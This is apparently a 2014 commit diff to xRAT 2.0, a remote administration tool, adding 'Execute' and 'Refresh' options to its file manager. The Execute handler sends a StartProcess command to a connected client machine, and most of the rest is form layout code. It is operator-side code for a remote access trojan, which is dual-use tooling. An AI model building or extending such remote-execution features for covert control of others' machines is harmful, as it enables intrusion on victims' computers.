Extended File Manager

Added Refresh & Execute option
This commit is contained in:
MaxXor 2014-07-17 22:41:38 +02:00
parent 776fb834fe
commit 43123649af
5 changed files with 123 additions and 58 deletions

View File

@ -32,23 +32,26 @@
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(frmFileManager));
this.cmbDrives = new System.Windows.Forms.ComboBox();
this.lblDrive = new System.Windows.Forms.Label();
this.lstDirectory = new xRAT_2.Controls.ListViewEx();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.ctxtMenu = new System.Windows.Forms.ContextMenuStrip(this.components);
this.ctxtDownload = new System.Windows.Forms.ToolStripMenuItem();
this.ctxtExecute = new System.Windows.Forms.ToolStripMenuItem();
this.ctxtRefresh = new System.Windows.Forms.ToolStripMenuItem();
this.imgListDirectory = new System.Windows.Forms.ImageList(this.components);
this.botStrip = new System.Windows.Forms.StatusStrip();
this.btnOpenDLFolder = new System.Windows.Forms.Button();
this.TabControlFileManager = new System.Windows.Forms.TabControl();
this.tabFileExplorer = new System.Windows.Forms.TabPage();
this.tabTransfers = new System.Windows.Forms.TabPage();
this.imgListTransfers = new System.Windows.Forms.ImageList(this.components);
this.ctxtLine = new System.Windows.Forms.ToolStripSeparator();
this.lstDirectory = new xRAT_2.Controls.ListViewEx();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hSize = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lstTransfers = new xRAT_2.Controls.ListViewEx();
this.hID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hFilename = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.imgListTransfers = new System.Windows.Forms.ImageList(this.components);
this.ctxtMenu.SuspendLayout();
this.TabControlFileManager.SuspendLayout();
this.tabFileExplorer.SuspendLayout();
@ -74,58 +77,40 @@
this.lblDrive.TabIndex = 0;
this.lblDrive.Text = "Drive:";
//
// lstDirectory
//
this.lstDirectory.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.lstDirectory.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.hName,
this.hSize,
this.hType});
this.lstDirectory.ContextMenuStrip = this.ctxtMenu;
this.lstDirectory.FullRowSelect = true;
this.lstDirectory.GridLines = true;
this.lstDirectory.Location = new System.Drawing.Point(11, 36);
this.lstDirectory.Name = "lstDirectory";
this.lstDirectory.Size = new System.Drawing.Size(659, 315);
this.lstDirectory.SmallImageList = this.imgListDirectory;
this.lstDirectory.TabIndex = 2;
this.lstDirectory.UseCompatibleStateImageBehavior = false;
this.lstDirectory.View = System.Windows.Forms.View.Details;
this.lstDirectory.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstDirectory_ColumnClick);
this.lstDirectory.DoubleClick += new System.EventHandler(this.lstDirectory_DoubleClick);
//
// hName
//
this.hName.Text = "Name";
this.hName.Width = 163;
//
// hSize
//
this.hSize.Text = "Size";
this.hSize.Width = 117;
//
// hType
//
this.hType.Text = "Type";
this.hType.Width = 128;
//
// ctxtMenu
//
this.ctxtMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.ctxtDownload});
this.ctxtDownload,
this.ctxtExecute,
this.ctxtLine,
this.ctxtRefresh});
this.ctxtMenu.Name = "ctxtMenu";
this.ctxtMenu.Size = new System.Drawing.Size(129, 26);
this.ctxtMenu.Size = new System.Drawing.Size(153, 98);
//
// ctxtDownload
//
this.ctxtDownload.Image = global::xRAT_2.Properties.Resources.download;
this.ctxtDownload.Name = "ctxtDownload";
this.ctxtDownload.Size = new System.Drawing.Size(128, 22);
this.ctxtDownload.Size = new System.Drawing.Size(152, 22);
this.ctxtDownload.Text = "Download";
this.ctxtDownload.Click += new System.EventHandler(this.ctxtDownload_Click);
//
// ctxtExecute
//
this.ctxtExecute.Image = global::xRAT_2.Properties.Resources.run;
this.ctxtExecute.Name = "ctxtExecute";
this.ctxtExecute.Size = new System.Drawing.Size(152, 22);
this.ctxtExecute.Text = "Execute";
this.ctxtExecute.Click += new System.EventHandler(this.ctxtExecute_Click);
//
// ctxtRefresh
//
this.ctxtRefresh.Image = global::xRAT_2.Properties.Resources.refresh;
this.ctxtRefresh.Name = "ctxtRefresh";
this.ctxtRefresh.Size = new System.Drawing.Size(152, 22);
this.ctxtRefresh.Text = "Refresh";
this.ctxtRefresh.Click += new System.EventHandler(this.ctxtRefresh_Click);
//
// imgListDirectory
//
this.imgListDirectory.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListDirectory.ImageStream")));
@ -196,6 +181,55 @@
this.tabTransfers.Text = "Transfers";
this.tabTransfers.UseVisualStyleBackColor = true;
//
// imgListTransfers
//
this.imgListTransfers.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListTransfers.ImageStream")));
this.imgListTransfers.TransparentColor = System.Drawing.Color.Transparent;
this.imgListTransfers.Images.SetKeyName(0, "cancel.png");
this.imgListTransfers.Images.SetKeyName(1, "done.png");
//
// ctxtLine
//
this.ctxtLine.Name = "ctxtLine";
this.ctxtLine.Size = new System.Drawing.Size(149, 6);
//
// lstDirectory
//
this.lstDirectory.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.lstDirectory.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.hName,
this.hSize,
this.hType});
this.lstDirectory.ContextMenuStrip = this.ctxtMenu;
this.lstDirectory.FullRowSelect = true;
this.lstDirectory.GridLines = true;
this.lstDirectory.Location = new System.Drawing.Point(11, 36);
this.lstDirectory.Name = "lstDirectory";
this.lstDirectory.Size = new System.Drawing.Size(659, 315);
this.lstDirectory.SmallImageList = this.imgListDirectory;
this.lstDirectory.TabIndex = 2;
this.lstDirectory.UseCompatibleStateImageBehavior = false;
this.lstDirectory.View = System.Windows.Forms.View.Details;
this.lstDirectory.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstDirectory_ColumnClick);
this.lstDirectory.DoubleClick += new System.EventHandler(this.lstDirectory_DoubleClick);
//
// hName
//
this.hName.Text = "Name";
this.hName.Width = 163;
//
// hSize
//
this.hSize.Text = "Size";
this.hSize.Width = 117;
//
// hType
//
this.hType.Text = "Type";
this.hType.Width = 128;
//
// lstTransfers
//
this.lstTransfers.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
@ -230,13 +264,6 @@
this.hFilename.Text = "Filename";
this.hFilename.Width = 417;
//
// imgListTransfers
//
this.imgListTransfers.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imgListTransfers.ImageStream")));
this.imgListTransfers.TransparentColor = System.Drawing.Color.Transparent;
this.imgListTransfers.Images.SetKeyName(0, "cancel.png");
this.imgListTransfers.Images.SetKeyName(1, "done.png");
//
// frmFileManager
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
@ -284,5 +311,8 @@
private System.Windows.Forms.ColumnHeader hFilename;
private System.Windows.Forms.ColumnHeader hID;
private System.Windows.Forms.ImageList imgListTransfers;
private System.Windows.Forms.ToolStripMenuItem ctxtExecute;
private System.Windows.Forms.ToolStripMenuItem ctxtRefresh;
private System.Windows.Forms.ToolStripSeparator ctxtLine;
}
}

View File

@ -136,6 +136,24 @@ namespace xRAT_2.Forms
}
}
private void ctxtExecute_Click(object sender, EventArgs e)
{
foreach (ListViewItem files in lstDirectory.SelectedItems)
{
if (files.Tag.ToString() == "file")
{
string path = currentDir;
if (path.EndsWith(@"\"))
path = path + files.SubItems[0].Text;
else
path = path + @"\" + files.SubItems[0].Text;
if (cClient != null)
new Core.Packets.ServerPackets.StartProcess(path).Execute(cClient);
}
}
}
private void btnOpenDLFolder_Click(object sender, EventArgs e)
{
string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + cClient.EndPoint.Address.ToString());
@ -146,6 +164,15 @@ namespace xRAT_2.Forms
MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
private void ctxtRefresh_Click(object sender, EventArgs e)
{
if (cClient != null)
{
new Core.Packets.ServerPackets.Directory(currentDir).Execute(cClient);
cClient.Value.lastDirectorySeen = false;
}
}
private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e)
{
// Determine if clicked column is already the column that is being sorted.

View File

@ -128,7 +128,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW
EwAAAk1TRnQBSQFMAgEBCwEAAZgBAAGYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
EwAAAk1TRnQBSQFMAgEBCwEAAbgBAAG4AQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
@ -223,7 +223,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE
CQAAAk1TRnQBSQFMAgEBAgEAARABAAEQAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
CQAAAk1TRnQBSQFMAgEBAgEAATABAAEwAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA

View File

@ -38,6 +38,7 @@
this.hProcessname = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hTitle = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.ctxtLine = new System.Windows.Forms.ToolStripSeparator();
this.ctxtMenu.SuspendLayout();
this.SuspendLayout();
//
@ -46,9 +47,10 @@
this.ctxtMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.ctxtKillProcess,
this.ctxtStartProcess,
this.ctxtLine,
this.ctxtRefresh});
this.ctxtMenu.Name = "ctxtMenu";
this.ctxtMenu.Size = new System.Drawing.Size(153, 92);
this.ctxtMenu.Size = new System.Drawing.Size(153, 98);
//
// ctxtKillProcess
//
@ -106,6 +108,11 @@
this.hTitle.Text = "Title";
this.hTitle.Width = 115;
//
// ctxtLine
//
this.ctxtLine.Name = "ctxtLine";
this.ctxtLine.Size = new System.Drawing.Size(149, 6);
//
// frmTaskManager
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
@ -136,5 +143,6 @@
private System.Windows.Forms.ColumnHeader hProcessname;
private System.Windows.Forms.ColumnHeader hPID;
private System.Windows.Forms.ColumnHeader hTitle;
private System.Windows.Forms.ToolStripSeparator ctxtLine;
}
}

View File

@ -48,10 +48,10 @@ namespace xRAT_2.Forms
private void ctxtStartProcess_Click(object sender, EventArgs e)
{
if (cClient != null)
string processname = string.Empty;
if (InputBox.Show("Processname", "Enter Processname:", ref processname) == System.Windows.Forms.DialogResult.OK)
{
string processname = string.Empty;
if (InputBox.Show("Processname", "Enter Processname:", ref processname) == System.Windows.Forms.DialogResult.OK)
if (cClient != null)
new Core.Packets.ServerPackets.StartProcess(processname).Execute(cClient);
}
}